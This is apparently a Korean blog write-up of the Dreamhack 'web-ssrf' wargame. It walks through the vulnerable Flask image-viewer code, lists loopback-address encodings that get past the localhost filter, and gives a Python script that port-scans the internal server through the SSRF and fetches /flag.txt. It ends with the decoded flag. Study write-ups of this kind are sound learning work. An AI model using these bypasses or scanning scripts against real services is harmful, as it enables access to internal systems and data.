보안 스터디/웹 해킹

[드림핵/워게임] web-ssrf (웹 해킹)

성밍쟁 2024. 1. 16. 17:32
728x90
반응형

 

문제

 

https://dreamhack.io/wargame/challenges/75

 

web-ssrf

flask로 작성된 image viewer 서비스 입니다. SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다. 문제 수정 내역 2023.07.17 css, html 제공 Reference Server-side Basic

dreamhack.io

 

문제코드

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

 

 

 

코드분석

@app.route("/")
def index():
    return render_template("index.html")

여기는 뭐.. / 로 접속하면 index.html 템플릿으로 넘어간다는 의미이다.

 

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)

핵심은 요쪽인 거 같은데, 일단 /img_viewer 로 간다. 

GET요청이면 img_viewer.html 템플릿으로 넘어간다.

그리고 POST요청일시, 폼에서부터 url를 받는다.

url 의 시작이 /으로 시작한다면 =localhost:8000 뒤에 인자로 입력받았던 url 를 붙이고,

localhost란 단어나 127.0.0.1 이 url 에 존재한다면 에러를 출력한다. 

그리고 url 위치에서 content내용을 불러온 게 data로 들어간다. 예외가 발생하면 에러를 나타낸다.

 

 

그리고 코드 해석하면서 놓쳤던 부분이 있는데 바로 그동안 풀어왔던 문제들과는 추가된 코드가 몇 줄 있는데 바로

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()

 

이 부분이다. random 한 포트를 받고, local_server 부분에 http.server.HTTPServer 여기에 인자로 넣어준다. 그럼 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다. 호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근을 불가능하다.

 

 

 

풀이전략

일단 나도 이거 어떻게 풀어야할지 도저히 감이 안 와서 드림핵을 봤다. 127.0.0.1. localhost 를 막으니까 저기로 접속할 수 있는 방법을 찾아야한다.

 

여러가지 방법이 있는데, 도메인 이름을 구매하고 127.0.0.1 과 연결하는 법도 있고, 127.0.0.1을 16진수로 변환하는 법도 있고, 

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

이 중에서 하나 쓰는 방법도 있다.

 

 

드림핵대로 Localhost: 이걸 이용한다고 치고

포트 번호는 1500~1800 중에 랜덤이기 때문에 이걸 찾아야한다.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
    
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
    
    
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

이 코드를 실행해서 포트 번호를 찾자.

 

 

 

 

실행

 

포트 번호를 알았으니, 살짝 코드를 수정해서

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data, verify=False)
    return response.text
    
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
    return port
    
    
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    # internal_port = find_port()
    url = "http://host3.dreamhack.games:22383/img_viewer"
    
    response = requests.post(url, data = {'url' : 'http://Localhost:1720/flag.txt'})
    data = response.text;
    print(data)
    
    a = input()
    print(a);

이렇게 입력을 하였다. 

이런 내용이 나오는데,

이 부분을 확인할 수 있었고, 이걸 base64로 번역을 해보면

https://www.convertstring.com/ko/EncodeDecode/Base64Decode

 

Base64로 디코딩 - 온라인 Base64로 디코더

당신의 Base64로 여기에 텍스트를 디코딩 복사 파일로 디코딩 Base64로 다운로드 :

www.convertstring.com

플래그 값이 나온다.

 

플래그는

DH{43dd2189056475a7f3bd11456a17ad71}

이다.

 

 

 

에필로그

LEVEL 2는 무리다;

와 진짜 개어렵다.

와 이거 맞나;

일단 파이썬스크립트를 짤려면 기본적으로 requests 모듈에 대해서 자세히 알아야할 거 같은데 저거 쓰는 법 부터 뭘 알아야 할 거 같다.

 

728x90
반응형